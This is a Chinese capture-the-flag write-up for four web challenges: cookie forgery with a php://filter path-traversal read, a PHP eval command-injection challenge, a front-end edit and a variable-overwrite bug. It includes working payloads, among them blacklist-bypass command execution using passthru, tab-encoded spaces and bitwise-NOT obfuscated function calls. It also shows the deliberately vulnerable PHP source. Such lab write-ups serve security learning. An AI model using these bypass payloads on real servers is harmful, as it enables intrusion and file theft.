目录
编辑
[web]签到题
考点:Cookie伪造、php伪协议、双写绕
[web]简单 rce
考点:rce
[web]蜜雪冰城吉警店
考点:前端修改
[web]到底给不给flag呢
考点:变量覆盖
代码执行过程如下
[web]签到题
考点:Cookie伪造、php伪协议、双写绕
查看源代码
再用bp抓包,根据题目是弟弟,Cookie伪造,将no改为yes
发送
看到可能是base64编码,将其解码
访问其目录
php伪协议结合双写绕过,用伪协议以base64编码进行内容读取
?file=php://filter/convert.base64-encode/resource=..././..././..././..././flag
再进行base64解码
[web]简单 rce
考点:rce
<?phphighlight_file(__FILE__); //对文件进行语法高亮显示function no($txt){//定义一个no函数,并传入变量txt if(!preg_match("/cat|more|less|head|tac|tail|nl|od|vim|uniq|system|proc_open|shell_exec|popen| /i", $txt)){ //preg_match 函数用于执行一个正则表达式匹配 return $txt;//返回参数值 }else{die("what's up"); //输出一条消息,并退出当前脚本 }}$yyds=($_POST['yyds']);//通过POST方式传递参数yydsif(isset($_GET['sys'])&&$yyds=='666'){ //通过GET方式传递参数sys;并判断 eval(no($_GET['sys']));//调用no函数,并输出 }else{ echo "nonono";//输出nonono}?>
命令执行函数:
system() 输出并返回最后一行shell结果。exec() 不输出结果,返回最后一行shell结果,所有结果可以保存到一个返回的数组里面。passthru() 只调用命令,把命令的运行结果原样地直接输出到标准输出设备上。(替换system)shell_exec()popen()/proc_open()
输出函数:
cat函数 由第一行开始显示内容,并将所有内容输出tac函数 从最后一行倒序显示内容,并将所有内容输出nl 类似于cat -n,显示时输出行号more 根据窗口大小,一页一页的现实文件内容less 和more类似,但其优点可以往前翻页,而且进行可以搜索字符head 只显示头几行tail 只显示最后几行sort 文本内容排列uniq 可以查看vim 一种编辑器,这个也可以查看od 以二进制的方式读取档案内容vi 一种编辑器,这个也可以查看strings 在对象文件或二进制文件中查找可打印的字符串, 在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行。此时,可以使用如下命令: grep test *file stringspaste把每个文件以列对列的方式,一列列地加以合并grepgrep { flag.php打印有”{“的一行sed一种编辑器,可以用sed -f flag.php读取flag
空格绕过:
${IFS}{IFS}$9$IFS$9重定向符:<>(但是不支持后面跟通配符)水平制表符%09%0a 回车%0d换行$IFS$1%09(tab)%20(space)$IFS<
方法一:使用未被过滤的命令 ,passthru没有被过滤,%09替换空格。
sys=passthru("ls%09/")
sys=passthru('sort%09/flag');
方法二:字符串转义绕过;适用PHP版本PHP>=7
以八进制表示的\[0–7]{1,3}转义字符会自动适配byte(如"\400" == “\000”)以十六进制的\x[0–9A-Fa-f]{1,2}转义字符表示法(如“\x41")以Unicode表示的\u{[0–9A-Fa-f]+}字符,会输出为UTF-8字符串URL编码协议规定(即 RFC3986 协议):URL 中只允许包含英文字母、数字、以及这 4 个 - _ . ~ 特殊字符和所有的保留字符sys=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%9E%98);
[web]蜜雪冰城吉警店
考点:前端修改
查看和源代码,前端修改id=9,
返回页面,点击所更改后的按钮1
[web]到底给不给flag呢
考点:变量覆盖
GET,POST需要有一个满足key为flag的传参。并且value不能等于flag,若想输出执行到最后输出flag,那么变量覆盖时候不能将$flag 的值等于除flag 外的任意值,也就是说在foreach内的变量覆盖过程,需要实现
$$key = $flag$$value = $flag$$key = $flag
payload如下
#GET参数?flag=xxx#POST参数_GET[flag]=flag
代码执行过程如下
第一个foreach 循环处理$_POST数组,传值为_GET[flag]=flag,变量覆盖过程为
$$key = $value
$key = "_GET";var_dump($value);#array(1) { ["flag"]=> string(4) "flag" }$$key = $value;#array(1) { ["flag"]=> string(4) "flag" }
此时注意GET数组的值,$ _GET["flag"]=Polar,而经过$_POST的变量覆盖,$ _GET =array(1) { ["flag"]=> string(4) "flag" }<span> </span>,故而最开始传GET参数时?flag=xxx,可等于任意值。因为会被POST变量覆盖完成后的值覆盖。
第二个foreach 循环处理$_GET数组,变量覆盖过程为:
$$key = $$value
$key=flag;$value=flag;$$key=$$value;$$key=$flag;$flag=$flag;
即实现上述所说,变量覆盖时候不能将$flag的值等于除flag 外的任意值
方法2:
需要get一个flag和post一个flag。然后看了眼函数,其中foreach加上是经典的变量覆盖语句。但是post方法里面的$value没有,POST是可以不用传的。因为isset那里面是&&连接。所以直接get传参一个flag。
先c=flag然后让flag=c。这样被解析之后,就是c=flag&flag=c。从而达到真正输出flag的作用。而不会用一个变量c把flag=flag{xxxxxx}给覆盖。那么最后echo出来的就是flag。payload:
?c=flag&flag=c